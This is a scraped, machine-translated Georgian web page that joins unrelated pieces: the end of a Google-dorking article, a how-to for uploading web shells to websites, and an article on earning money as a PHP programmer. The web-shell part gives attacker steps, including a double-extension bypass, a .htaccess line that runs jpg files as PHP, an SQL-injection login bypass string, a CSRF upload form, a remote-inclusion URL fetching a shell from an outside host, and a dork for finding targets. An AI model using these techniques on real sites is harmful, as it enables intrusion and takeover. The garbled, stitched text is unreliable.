<br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/4c1/2f8/6e1/4c12f86e111074293c14d6a939c6ebab.jpg' width="100%" loading=lazy loading=lazy><br>ნახაზი 13 – მოძებნეთ ყველა ტორკი, სადაც ნახსენებია PHP</p><p>მოწყვლადობის ან ზოგიერთი მგრძნობიარე ინფორმაციის ძიება საძიებო სისტემაში უნდა განხორციელდეს მხოლოდ იმ შემთხვევაში, თუ ამ საიტზე არის მნიშვნელოვანი ინდექსი. მაგალითად, თუ საიტს აქვს 10-15 გვერდი ინდექსირებული, მაშინ სისულელეა რაიმეს ამ გზით ძიება. ინდექსის ზომის შემოწმება მარტივია - უბრალოდ შეიყვანეთ „site:somesite.com“ Google-ის საძიებო ზოლში. არასაკმარისი ინდექსის მქონე საიტის მაგალითი ნაჩვენებია სურათზე 14. <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/78e/1db/b4f/78e1dbb4fc78cd422cec311fc2ca9d33.jpg' width="100%" loading=lazy loading=lazy><br>სურათი 14 – საიტის ინდექსის ზომის შემოწმება</p><p>ახლა უსიამოვნოზე... დროდადრო Google-მა შეიძლება მოითხოვოს captcha - ვერაფერს გააკეთებთ - მოგიწევთ მისი შეყვანა. მაგალითად, კატეგორიის „შეცდომის შეტყობინებების“ ძიებისას (90 dorks), captcha მხოლოდ ერთხელ გამოჩნდა.</p><p>აღსანიშნავია, რომ phantomjs ასევე მხარს უჭერს პროქსის მეშვეობით მუშაობას, როგორც http, ასევე წინდების ინტერფეისის საშუალებით. პროქსი რეჟიმის გასააქტიურებლად, თქვენ უნდა გააუქმოთ შესაბამისი ხაზი dorks.bat ან dorks.sh.</p><p>ინსტრუმენტი ხელმისაწვდომია კოდის სახით</p> <br>ამ სტატიაში მინდა ვისაუბრო ვებსაიტზე ჭურვის ატვირთვის ყველაზე ხშირად გამოყენებულ მეთოდებზე. <b>ვებ-ჭურვი</b>არის ერთგვარი მავნე სკრიპტი (პროგრამა), რომელსაც თავდამსხმელები იყენებენ ვებსაიტების ან სერვერების გასაკონტროლებლად. <p><b>მეთოდი 1</b><br>იპოვეთ ფორმა საიტზე ფაილების/სურათების ატვირთვისთვის. ვთქვათ, ჩვენ ვერ მოვახერხეთ საიტის ადმინისტრაციული პანელის გატეხვა და ვცდილობთ ჩვენი გარსი დატბოროს <b>გაფართოება.php.jpg .</b>წარმატების შემთხვევაში, სურათის ნაცვლად ვნახავთ თეთრ ფანჯარას, ვაწკაპუნებთ მარჯვენა ღილაკით და მივყვებით ბმულს. წარუმატებლობის შემთხვევაში შეგვიძლია გამოვიყენოთ chrome გაფართოება <b>მონაცემების გაყალბება</b>. ეს საშუალებას გაძლევთ ჩაჭრათ და შეცვალოთ მოთხოვნა, როგორც გსურთ. თუ საიტი ამოწმებს ფაილის გაფართოებას, მაშინ ჯერ შეგვიძლია ატვირთოთ <b>.htaccess</b>ფაილი შინაარსით: <br>AddType აპლიკაცია/x-httpd-php .jpg <br>ეს ბრძანება შეასრულებს jpg ფაილებს php-ის სახით. <br><b>დეტალური ვიდეო ინსტრუქციები:</b><br></p><p><span class="imp1oe54JeQ"></span></p><p>ვიდეო ინსტრუქციები <b>შეფერხების მონაცემების ინსტალაცია:</b><br></p><p><span class="JA5K4KJ0NCc"></span></p><br><b>მეთოდი 2</b><br>გამოიყენეთ პროგრამა საიტზე ადმინისტრაციული პანელების მოსაძებნად - https://github.com/bdblackhat/admin-panel-finder. როდესაც პროგრამა იპოვის ადმინისტრაციულ პანელს, შეგვიძლია ვცადოთ sql-injection. საიტის შესვლისა და პაროლის ველში ვწერთ კოდს: <br><p>"ან "1"="1" ან 1=1/*</p><p>თუ მუშაობს, მაშინ მივდივართ ადმინისტრაციულ პანელში და <b>ჩვენ ვაგრძელებთ 1 მეთოდის მიხედვით.</b>თუ საიტზე არ არის sql-injection ადმინისტრაციულ პანელში, მაშინ შეგვიძლია ვცადოთ მისი გამართვა ან ვიპოვოთ ექსპლოიტი ამ CMS-ისთვის. <br><b>დეტალური ვიდეო ინსტრუქციები:</b><br></p><p><span class="5Kh5gCr_3rc"></span></p><br><b>მეთოდი 3</b><br>მე-3 მეთოდში ჩვენ ვეძებთ sql-injection-ს თავად საიტზე. ჩვენ შეგვიძლია ამის გაკეთება ხელით ან გამოვიყენოთ sqlmap. ფორუმზე საკმარისი თემებია ინექციების ჩატარების შესახებ, ამიტომ შორიდან მოვალ. ასე რომ, ახლა ჩვენ უკვე ვიპოვეთ ცხრილი ადმინისტრატორის შესვლისა და პაროლით, გაშიფრეთ ჰეშები, გადადით ადმინისტრაციულ პანელზე და გაიხარეთ. მაგრამ დავუშვათ, რომ პაროლის გაშიფვრა ვერ მოხერხდა და ყველაფერი არასწორედ წარიმართა, მაშინ უნდა შევამოწმოთ ჩვენი მომხმარებლის პრივილეგიები <b>. </b>ჩვენ ვამოწმებთ პრივილეგიებს და ვტვირთავთ მინი გარსს. <b>რატომღაც კოდის ჩასმა რომ მინდა, საიტი მაძლევს შეცდომას.</b><p><b>მეთოდი 4</b><br>მეთოდი 4 მოიცავს csrf შეტევას. ქვემოთ მოცემულ კოდში უნდა შევცვალოთ <b>http://</b>ჩვენს სამიზნე ბმულზე. <b>აირჩიეთ ჭურვი</b>და დააჭირეთ ღილაკს <b>ატვირთვა.</b><br></p><p> <form method="POST" action="http://" enctype="multipart/form-data" > <input type="file" name="Filedata"></center><br> <input type="submit" name="Submit" value="ატვირთვა"> </form></p><p><span class="FXOjzV5I1Cc"></span></p><br><b>მეთოდი 5</b><br>შეიტყვეთ მეტი თქვენი მიზნის შესახებ და იპოვეთ ექსპლოიტი. ამისთვის არის ძალიან საინტერესო ვებგვერდი - https://www.exploit-db.com. არავის გაუუქმებია ვებსაიტების მასიური გატეხვა დაუცველობის გამო, მაგრამ ამის შესახებ უკვე არის სტატია ფორმაში. <p>ნაჭუჭის შევსების კიდევ ბევრი გზა არსებობს და თითოეულზე ლაპარაკს აზრი არ აქვს. თუ გსურთ ივარჯიშოთ, დააინსტალირეთ dvwa - ეს არის პროგრამა, რომელიც შექმნილია იმისთვის, რომ დაეხმაროს უსაფრთხოების პროფესიონალებს გამოსცადონ თავიანთი უნარები და ინსტრუმენტები იურიდიულ გარემოში.</p><p><b>მეთოდი 6 <br><b>Php ინექცია</b>- ეს არის ვებსაიტზე თავდასხმის ფორმა, როდესაც თავდამსხმელი შეჰყავს თავის PHP კოდს თავდასხმულ PHP აპლიკაციაში.</b><br>www.site.ru?page=home.html <br>ბრძანების შესრულებით ჩავტვირთავთ home,html გვერდს. ახლა ჩვენ შევეცდებით მავნე გარსის ჩატვირთვას. <br>www.site.ru?page=http://hacker.ru/webshell.php <br>დორკი: <b>Inurl:page=</b></p><p>ასევე არსებობს გზა, რომ იპოვოთ უკვე დატვირთული გარსი პერლის გამოყენებით</p> <p> » </p><h1>როგორ შეუძლია PHP პროგრამისტს კარგი ფულის გამომუშავება სახლში?</h1><p>ყველაზე წარმატებული PHP პროგრამისტები კარგ ფულს აკეთებენ სახლიდან. ნებისმიერი შემოსავლის დასაწყისში წარმოიქმნება სირთულეები. ეს ხდება, რომ სირთულეები და შოვნის მეთოდების ცოდნის ნაკლებობა ხელს უშლის სახლში ფულის შოვნის ყველა სურვილს, შემდეგ კი პროგრამისტები ეძებენ შესაძლებლობას იმუშაონ ოფისებში, სადაც უფრო მეტი გარანტიაა, რომ ფულის მიღება ყოველთვიურად შეიძლება და პროფესიული ზრდა არის. შესაძლებელია.</p><p>მაგრამ სახლიდან მუშაობას უფრო მეტი დადებითი მხარე აქვს, ვიდრე უარყოფითი.</p><h3>დადებითი</h3><p>შენ თვითონ იმუშავებ. არავინ გაგათავისუფლებთ, თქვენ შეძლებთ გაანაწილოთ თქვენი საკუთარი განრიგი ან მუშაობა თქვენთვის სასურველ დროს.</p><p>თქვენ თვითონ ირჩევთ პროგრამირების საშუალებით ფულის შოვნის საშუალებას, რაც, პირველ რიგში, გაზრდის თქვენს ინტერესს სამუშაოს მიმართ და მეორეც, გაქვთ მოქმედების დიდი თავისუფლება. თქვენ არ გჭირდებათ იმუშაოთ იმაზე, რაც არ მოგწონთ. ფულის შოვნის გზების გაერთიანების მეტი შესაძლებლობაც არსებობს.</p><h3>მინუსები</h3><p>თავიდან რთული იქნება და იმისთვის, რომ თქვენი სამუშაოსთვის პირველი ფული მიიღოთ, დიდი ძალისხმევა და დრო გჭირდებათ. და იმისთვის, რომ მოგება იყოს, მუდმივად უნდა განვითარდე და გქონდეს მოთმინება და სწორად გაანაწილო გრაფიკი, რომ გქონდეს საკმარისი დრო სამუშაოს დროულად დასასრულებლად.</p><h3>ფულის გამომუშავება თქვენი სკრიპტებიდან</h3><p>ინტერნეტში ბევრი სხვადასხვა სკრიპტია, რომელთა ჩამოტვირთვა და დაინსტალირებაც ადამიანებს შეუძლიათ თავიანთ ვებსაიტზე. თქვენ შეგიძლიათ დაწეროთ თქვენი საკუთარი უნიკალური სკრიპტი და არსებობს ორი ვარიანტი, თუ როგორ შეგიძლიათ ფულის გამომუშავება თქვენი სკრიპტიდან. გაყიდეთ ან გამოაქვეყნეთ ფაილების გაზიარების სერვისების საშუალებით. თქვენ ასევე შეგიძლიათ გამოიყენოთ ორი ვარიანტი. მაგალითად, მსუბუქი სკრიპტები, მაგრამ ამავე დროს ასევე ძალიან მნიშვნელოვანია ფაილების გაზიარების სერვისების მეშვეობით ზუსტად იმ სკრიპტების განთავსება, რომლებზეც დიდი მოთხოვნა იქნება. ამისათვის სკრიპტები უნდა იყოს მოთხოვნადი, რათა ხალხმა გადმოწეროს ისინი მათი საჭიროებისთვის.</p><p>დიდი სკრიპტების გაყიდვა შესაძლებელია გონივრულ ფასებში. შეგიძლიათ განათავსოთ რეკლამა ფორუმებზე, ან თუ გაქვთ თქვენი პირადი ბლოგი ან ვებგვერდი, განათავსოთ რეკლამა სკრიპტების გასაყიდად.</p><p>ნებისმიერ შემთხვევაში, არ აქვს მნიშვნელობა რა ვარიანტს აირჩევთ, განათავსეთ სკრიპტი არქივში და აუცილებლად შეიტანეთ დეტალური ინსტრუქციები და საკონტაქტო ინფორმაცია თქვენს შესახებ. დარწმუნდით, რომ უზრუნველყოთ მხარდაჭერა, რადგან თქვენთვის მნიშვნელოვანია იმუშაოთ საკუთარ თავზე. ყოველივე ამის შემდეგ, თქვენ უნდა გირჩიოთ ან ჩამოტვირთოთ თქვენი სკრიპტები. ისინი უნდა იყოს მაღალი ხარისხის. თუ ადამიანი დახმარებას გთხოვს, თავაზიანად აუხსენით მას სკრიპტის შესახებ ან დაეხმარეთ მის დაყენებაში. თქვენს სკრიპტებს უნდა ჰქონდეს კომენტარები. რაზეა პასუხისმგებელი თითოეული ფუნქცია და ა.შ. ყოველივე ამის შემდეგ, ადამიანი ადვილად შეიძლება დაიბნოს თქვენს კოდში, სადაც არ არის ნოტაციები.</p><h3>საკუთარი და ერთობლივი პროექტები</h3><p>კარგია საკუთარი ვებსაიტის შექმნა ფულის წარმატებით გამომუშავებისთვის. თქვენი ვებსაიტით ფულის გამომუშავების მრავალი შესაძლებლობა არსებობს. თუ კარგად დააწინაურებთ, შეგიძლიათ განათავსოთ სკრიპტები გასაყიდად. ერთობლივი პროექტები გააფართოვებს თქვენს შესაძლებლობებს, რაც კარგია სახლის პროგრამირების წარმატებისთვის. ამიტომ, მოძებნეთ პარტნიორები ან უარს ნუ იტყვით შემოთავაზებებზე ერთობლივი პროექტის შესაქმნელად.</p><p>თქვენ აუცილებლად უნდა დაამატოთ ფუნქციები, რომლებიც ყურადღებას იპყრობს თქვენს ვებსაიტზე. საიტს შეიძლება ჰქონდეს რეგულარული, მარტივი იერი, მაგრამ ამავე დროს თავისი ირონია. პერსონალური ვებგვერდი ეხმარება კლიენტების გაზრდას. ისინი დაინახავენ, თუ როგორ მუშაობს თქვენი სკრიპტები, თუ მათ ძალიან დიდი დრო არ დასჭირდებათ ჩატვირთვა, გამოსაყენებლად საინტერესო და რაც მთავარია ორიგინალური, არაფრისგან განსხვავებით. მაშინ წარმატებას მიაღწევ.</p><h3>შემოსავალი შეკვეთით</h3><p>ამისათვის უბრალოდ დარეგისტრირდით ფრილანსერების სხვადასხვა ბირჟებზე და მოძებნეთ შეკვეთები. აჩვენეთ თქვენი დასრულებული სამუშაოს პორტფელი. ოღონდ ფრთხილად იყავი მსოფლიოში უპატიოსნო ხალხი და რომ არ მოტყუვდე, ჯერ აჩვენე ნამუშევარი, რომელიც მდებარეობს შენს სერვერზე (სხვათა შორის, ამ შემთხვევაში დაგჭირდებათ vps-ის დაქირავება http:/ /nkvd.pro/vps/), შემდეგ კი თუ ნაწილს გადაგიხდიენ, ნახევარი გადაიტანე მათ სერვერზე და იგივე გააკეთე მეორე ნაწილთან ერთად. ფულის გამომუშავების ეს მეთოდი ითვლება მომგებიანად, მაგრამ დამოკიდებულია თქვენი ცოდნისა და უნარების ხარისხზე. ეს ასევე დამოკიდებულია თქვენი მომხმარებლების გამოხმაურებაზე. ფულის გამომუშავების ამ მეთოდით წარმატების მისაღწევად, შეასრულეთ სამუშაო პატიოსნად და ეფექტურად. თქვენ უნდა შეძლოთ მომხმარებლებთან კომუნიკაცია, მკაფიოდ ახსნათ რა შეგიძლიათ და რა არ შეგიძლიათ.</p><p>ეს არ არის php პროგრამისტის შემოსავლების მთელი სია, მაგრამ ფულის გამომუშავების ამ მეთოდების წყალობით, რომლებიც ზემოთ არის დაწერილი, უკვე შეგიძლიათ ფულის გამომუშავება სახლიდან გაუსვლელად. საწყის ეტაპზე ეს დიდი მიღწევა იქნება. მთავარია აქ არ გაჩერდე. მუდმივად გააუმჯობესეთ და შექმენით პროექტები, რომლებიც მოგიტანთ არა მხოლოდ კარგ შემოსავალს, არამედ სიამოვნებას.</p> <br><b>ავტორის შესახებ</b> <br><p>როგორ შეუძლია PHP პროგრამისტს კარგი ფულის გამომუშავება სახლში?</p> <script type="text/javascript"> <!-- var _acic={dataProvider:10};(function(){var e=document.createElement("script");e.type="text/javascript";e.async=true;e.src="https://www.acint.net/aci.js";var t=document.getElementsByTagName("script")[0];t.parentNode.insertBefore(e,t)})() //--> </script><br> <br> <script>document.write("<img style='display:none;' src='//counter.yadro.ru/hit;artfast_after?t44.1;r"+ escape(document.referrer)+((typeof(screen)=="undefined")?"": ";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth? screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+";h"+escape(document.title.substring(0,150))+ ";"+Math.random()+ "border='0' width='1' height='1' loading=lazy loading=lazy>");</script> </div> </article> <div class="related_block"> <div class="title">დაკავშირებული პუბლიკაციები</div> <ul class="recent_ul"> <li> <div class="img_block"> <div class="overlay"></div> <img src="/uploads/64b7401db355528459e6d4f88f75db81.jpg" style="width:230px; height:145px;" / loading=lazy loading=lazy></div> <a href="https://storerarity.ru/ka/chto-novogo-poluchil-stabilizator-zhiyun-crane-plus-tr-hosevoi.html">სამღერძიანი ელექტრონული სტაბილიზატორი Zhiyun Crane Plus (2018) Time-lapse სროლის ფუნქცია მოძრაობაში</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img src="/uploads/84de9f3731f3979985fb57b66b81bd5d.jpg" style="width:230px; height:145px;" / loading=lazy loading=lazy></div> <a href="https://storerarity.ru/ka/kak-vklyuchit-vse-yadra-kak-vklyuchit-vse-yadra-processora-kak-vklyuchit.html">როგორ ჩართოთ ყველა პროცესორის ბირთვი როგორ ჩართოთ ყველა პროცესორი Windows 10-ზე</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img src="/uploads/79844ffc013d287bb7adc7f3dabe3e13.jpg" style="width:230px; height:145px;" / loading=lazy loading=lazy></div> <a href="https://storerarity.ru/ka/jbl-go-ne-rabotaet-obzor-besprovodnoi-kolonki-jbl-go-plyusy-i-minusy-jbl.html">JBL Go უკაბელო დინამიკის მიმოხილვა</a></li> </ul> </div> </div> <aside id="sidebar"> <div class="block"> <nav class="sidebar_menu"> <div class="menu-sidebar_menu-container"> <ul id="menu-sidebar_menu" class="menu"> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ka/category/programs/">პროგრამები</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ka/category/windows/">ფანჯრები</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ka/category/devices/">მოწყობილობები</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ka/category/browsers/">ბრაუზერები</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ka/category/reviews/">მიმოხილვები</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ka/category/reviews/">მიმოხილვები</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ka/category/setup/">პარამეტრები</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ka/category/torrent/">ტორენტი</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ka/category/editors/">რედაქტორები</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ka/category/instagram/">ინსტაგრამი</a></li> </ul> </div> </nav> </div> <div class="block recent_block"> <div class="title">ბოლო ნოტები</div> <ul class="popular"> <li> <div class="img_block"> <div class="overlay"></div> <img width="240" height="145" src="/uploads/95236f72f3e17d8b09868145a5ad3403.jpg" class="attachment-popular_thumb size-popular_thumb wp-post-image" alt="FlashFire არის ახალი აპლიკაცია Android-ის განახლებისთვის root-ის დაკარგვის გარეშე" / loading=lazy loading=lazy> <span class="cat">პროგრამები</span></div> <a href="https://storerarity.ru/ka/root-sletaet-flashfire-novoe-prilozhenie-dlya-obnovleniya-android-bez-utraty-ruta-poteryayu.html">FlashFire არის ახალი აპლიკაცია Android-ის განახლებისთვის root-ის დაკარგვის გარეშე</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img width="240" height="145" src="/uploads/e2b88b416324d601a10ad22e6eb523e9.jpg" class="attachment-popular_thumb size-popular_thumb wp-post-image" alt="თქვენი ტელეფონის კონტროლი კომპიუტერიდან" / loading=lazy loading=lazy> <span class="cat">პროგრამები</span></div> <a href="https://storerarity.ru/ka/peredacha-ekrana-mobilnika-na-kompyuter-upravlenie-telefonom-s-kompyutera.html">თქვენი ტელეფონის კონტროლი კომპიუტერიდან</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img width="240" height="145" src="/uploads/08ff898ce3f043c159e55cbc5f956187.jpg" class="attachment-popular_thumb size-popular_thumb wp-post-image" alt="როგორ დააყენოთ Xiaomi უკაბელო ეკრანი" / loading=lazy loading=lazy> <span class="cat">პროგრამები</span></div> <a href="https://storerarity.ru/ka/besprovodnoi-displei-xiaomi-kak-nastroit-noutbuk-kak-nastroit.html">როგორ დააყენოთ Xiaomi უკაბელო ეკრანი</a></li> </ul> </div> </aside> </div> </div> <div class="clear"></div> <footer id="footer"><div class="wrapper"> <div class="copy">2024 | კომპიუტერები ყველასთვის - დაყენება, ინსტალაცია, აღდგენა</div> <nav class="header_menu"> <div class="menu-footer_menu-container"> </div> </nav> </div></footer> <div id="toTop"></div> <script type='text/javascript' src='https://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js'></script> <nav class="mobile_menu"> <div class="close_menu"></div> <div class="mob_menu"> <div class="menu-mobile_menu-container"> <ul id="menu-mobile_menu" class="menu"> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ka/category/programs/">პროგრამები</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ka/category/windows/">ფანჯრები</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ka/category/devices/">მოწყობილობები</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ka/category/browsers/">ბრაუზერები</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ka/category/reviews/">მიმოხილვები</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ka/category/reviews/">მიმოხილვები</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ka/category/setup/">პარამეტრები</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/ka/category/torrent/">ტორენტი</a></li> </ul> </div> </div> </nav> <script type="text/javascript"> <!-- var _acic={dataProvider:10};(function(){var e=document.createElement("script");e.type="text/javascript";e.async=true;e.src="https://www.acint.net/aci.js";var t=document.getElementsByTagName("script")[0];t.parentNode.insertBefore(e,t)})() //--> </script><br> <br> </body> </html>